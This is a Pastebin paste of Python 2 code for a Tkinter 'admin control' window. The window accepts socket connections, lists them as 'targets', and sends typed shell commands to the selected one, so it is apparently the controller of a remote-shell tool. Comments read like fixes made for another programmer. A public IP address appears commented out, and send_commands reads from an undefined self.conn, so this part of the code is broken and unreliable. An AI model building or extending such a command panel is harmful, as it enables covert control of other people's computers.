Advertisement
furas

Python - socket + tkinter #2

Mar 26th, 2017
313
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.36 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. from Tkinter import *
  4. import threading
  5. import socket
  6.  
  7.  
  8. class Manager(object):
  9.  
  10.     def __init__(self):
  11.  
  12.         self.address = []
  13.         self.connction = []
  14.  
  15.         self.GUI1 = Tk()
  16.         self.GUI1.title('welcome to admin control')
  17.         self.GUI1.geometry('800x800')
  18.  
  19.         self.ListTargets = Listbox(self.GUI1, width=95, fg='green', bg='black', font=2)
  20.         self.ListTargets.pack()
  21.         self.ListTargets.bind('<<ListboxSelect>>', self.checking)
  22.        
  23.         self.butt1 = Button(self.GUI1, text='reflesh', font=5, command=self.numberConns)
  24.         self.butt1.pack(anchor=CENTER)
  25.        
  26.         self.butt2 = Button(self.GUI1, text='dele', command=self.delete_all)
  27.         self.butt2.pack()
  28.        
  29.         OpenConnction = threading.Thread(target=self.start_sockets)
  30.         OpenConnction.daemon = True
  31.         OpenConnction.start()
  32.  
  33.         mainloop()
  34.  
  35.     def start_sockets(self):
  36.  
  37.         host = 'localhost' #'37.142.243.30'
  38.         port = 4434
  39.  
  40.         while True:
  41.             try:
  42.                 self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  43.  
  44.                 # solution for "[Error 89] Address already in use". Use it before bind()
  45.                 self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  46.  
  47.                 self.socket.bind((host, port))
  48.                 self.socket.listen(20)
  49.  
  50.                 while True:
  51.                     try:
  52.                         conn, addr = self.socket.accept()
  53.                         #self.conn.setblocking(1)
  54.                         self.connction.append(conn)
  55.                         self.address.append(addr)
  56.                         print 'hello', addr
  57.                     except Exception, e:
  58.                         print 'problem with accept'
  59.                         print 'exception:', e
  60.  
  61.             except Exception, e:
  62.                 print 'problem with socket, bind or listen'
  63.                 print 'exception:', e
  64.  
  65.                 # close all socket
  66.  
  67.                 for c in self.connction:
  68.                     c.close()
  69.                 self.socket.close()
  70.  
  71.                 # clear all lists
  72.  
  73.                 self.connction = []
  74.                 self.address = []
  75.  
  76.     def numberConns(self):
  77.             # remove all elements
  78.             self.ListTargets.delete(0, END)
  79.  
  80.             correct_addr = []
  81.             correct_conn = []
  82.            
  83.             # get `addr` and `conn` so you don't need `i`
  84.             for addr, conn in zip(self.address, self.connction):
  85.  
  86.                 print '[DEBUG] check:', addr
  87.                
  88.                 # it has to be inside `for` - indentions
  89.                 try:
  90.                     conn.send('1')
  91.                     result = conn.recv(1024)
  92.                     # if `result` is empty then connection was closed
  93.                     if not result:
  94.                         continue # jump to `for`
  95.                 except Exception, e:
  96.                     print 'problem with send or recv'
  97.                     print 'exception:', e
  98.                     continue # jump to `for`
  99.  
  100.                 print '[DEBUG] add:', addr
  101.                 # add to list only if there was no exception
  102.                 # so you don't have to delete it from list
  103.                 self.ListTargets.insert(END, addr)
  104.                 # keep only working connection
  105.                 correct_addr.append(addr)
  106.                 correct_conn.append(conn)
  107.                    
  108.             # after checking all connection replaces lists
  109.             self.address = correct_addr
  110.             self.connction = correct_conn
  111.  
  112.     def checking(self, *e):
  113.         indexes = self.ListTargets.curselection()
  114.        
  115.         for i in indexes:
  116.             self.send_commands(self.connction[i])
  117.  
  118.     def send_commands(self, conn): # with argument instead of global/class variable
  119.         while True:
  120.             command = raw_input('shell> ').strip()
  121.  
  122.             # strip() removes spaces/tabs at both ends of `command`
  123.            
  124.             if not command: #if len(command) == 0:
  125.                 return # or break
  126.  
  127.             conn.send(command) # `conn` without `self.` - local variable
  128.             response = self.conn.recv(2028)
  129.             print response
  130.  
  131.     def delete_all(self):
  132.         self.ListTargets.delete(0, END) # `END` instead of `0`
  133.  
  134. # --- main ---
  135.  
  136. Manager()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement